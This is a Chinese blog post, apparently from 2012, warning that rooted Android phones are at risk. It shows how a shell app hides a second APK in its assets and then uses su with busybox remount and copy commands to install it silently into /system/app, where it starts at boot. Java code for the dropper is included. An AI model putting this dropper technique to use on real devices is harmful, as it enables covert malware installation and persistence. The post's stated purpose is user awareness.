android手机root后的安全问题 (一)
2012-09-15 17:46
549 查看
来自:http://www.devdiv.com/android手机root后的安全问题_(一)-weblog-60673-12960.html
导读:
本文介绍一种简单的病毒以及如何“防御”。写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!
这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。
有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。
我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?
好吧,我们先来一次“静默安装”!
原理很简单,基本上相当于把apkpush到手机里面,两个选择
data/app
system/app
如果我是病毒软件,我肯定选择push到system/app
我们需要***两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)
首先先***real.apk,我们只是用来测试,所以这个apk没有什么实际内容(为了节省大家时间,real.apk已经上传)。
real.apk里有一个receiver,用来监听开机的广播
还有一个activity,没有什么实质内容,然后编译出apk,待用。
下面来***壳子
新建一个android工程,将之前的real.apk复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的
其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码
第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。
这里需要使用到busybox,命令如下
busyboxmount-oremount,rw/system
busyboxcp/data/data/com.example.fake/files/real.apk/system/app/real.apk
busyboxrm/data/data/com.example.fake/files/real.apk
之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)
当然superuser需要同意你使用root权限
至此,你的入侵行为已经全部完成!
重启手机之后,real.apk就能工作了,它会接收到开机广播
如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的
real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。
如何防御?!
我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!
我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)
大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果
导读:
本文介绍一种简单的病毒以及如何“防御”。写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!
这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。
有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。
我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?
好吧,我们先来一次“静默安装”!
原理很简单,基本上相当于把apkpush到手机里面,两个选择
data/app
system/app
如果我是病毒软件,我肯定选择push到system/app
我们需要***两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)
首先先***real.apk,我们只是用来测试,所以这个apk没有什么实际内容(为了节省大家时间,real.apk已经上传)。
real.apk里有一个receiver,用来监听开机的广播
[代码]xml代码:
1 | android.intent.action.BOOT_COMPLETED |
下面来***壳子
新建一个android工程,将之前的real.apk复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的
[代码]xml代码:
1 | prepareButton.setOnClickListener(newView.OnClickListener(){ |
2 | publicvoidonClick(Viewv){ |
3 | FiledataFolder=getFilesDir(); |
4 | Filejar=newFile(dataFolder.getAbsolutePath()+"/real.apk"); |
5 | copyFile("real.apk",jar,mResources); |
6 | } |
7 | }); |
[代码]java代码:
1 | InputStreammyInput= null ; |
2 | try |
3 | myInput=resources.getAssets().open(filePath); |
4 | …… |
5 | catch |
6 | …… |
7 | finally |
8 | …… |
这里需要使用到busybox,命令如下
busyboxmount-oremount,rw/system
busyboxcp/data/data/com.example.fake/files/real.apk/system/app/real.apk
busyboxrm/data/data/com.example.fake/files/real.apk
之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)
当然superuser需要同意你使用root权限
至此,你的入侵行为已经全部完成!
[代码]java代码:
01 | installButton.setOnClickListener( new View.OnClickListener(){ |
02 | public void onClick(Viewv){ |
03 | StringpackageName=getPackageName(); |
04 | String[]commands={ "busyboxmount-oremount,rw/system" , |
05 | "busyboxcp/data/data/" +packageName+ "/files/real.apk/system/app/real.apk" , |
06 | "busyboxrm/data/data/" +packageName+ "/files/real.apk" }; |
07 | Processprocess= null ; |
08 | DataOutputStreamdataOutputStream= null ; |
09 |
10 | try { |
11 | process=Runtime.getRuntime().exec( "su" ); |
12 | dataOutputStream= new DataOutputStream(process.getOutputStream()); |
13 | int length=commands.length; |
14 | for ( int i= 0 ;i<length;i++){ |
15 | Log.e(TAG, "commands[" +i+ "]:"
|
16 | dataOutputStream.writeBytes(commands[i]+ "\n" ); |
17 | } |
18 | dataOutputStream.writeBytes( "exit\n" ); |
19 | dataOutputStream.flush(); |
20 | process.waitFor(); |
21 | } catch (Exceptione){ |
22 | Log.e(TAG, "copyfail" ,e); |
23 | } finally { |
24 | try { |
25 | if (dataOutputStream!= null ){ |
26 | dataOutputStream.close(); |
27 | } |
28 | process.destroy(); |
29 | } catch (Exceptione){ |
30 | } |
31 | } |
32 | } |
33 | }); |
34 | } |
如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的
real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。
如何防御?!
我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!
我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)
大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果
相关文章推荐
- android手机root后的安全问题 (一)
- android手机root后的安全问题 (三)
- android手机root后的安全问题 (一)植入apk
- android手机root后的安全问题 (四)
- android手机root后的安全问题 (二)
- Android手机Root后的安全问题汇总
- android手机root后的安全问题 (一)
- android手机root后的安全问题(二)
- android手机root后的安全问题 (一)
- android手机root后的安全问题 (三)
- android手机root后的安全问题 (二)
- android手机root后的安全问题 (四) 禁止开机启动和应用失效
- android手机root后的安全问题 (二)
- android手机root后的安全问题 (一)
- Android手机 Root 安全问题 机制
- android手机root后的安全问题 (三)
- android手机root后的安全问题 (三)
- android手机root后的安全问题 (一)
- android手机root后的安全问题 (二)获取通知栏通知
- android手机root后的安全问题 (二)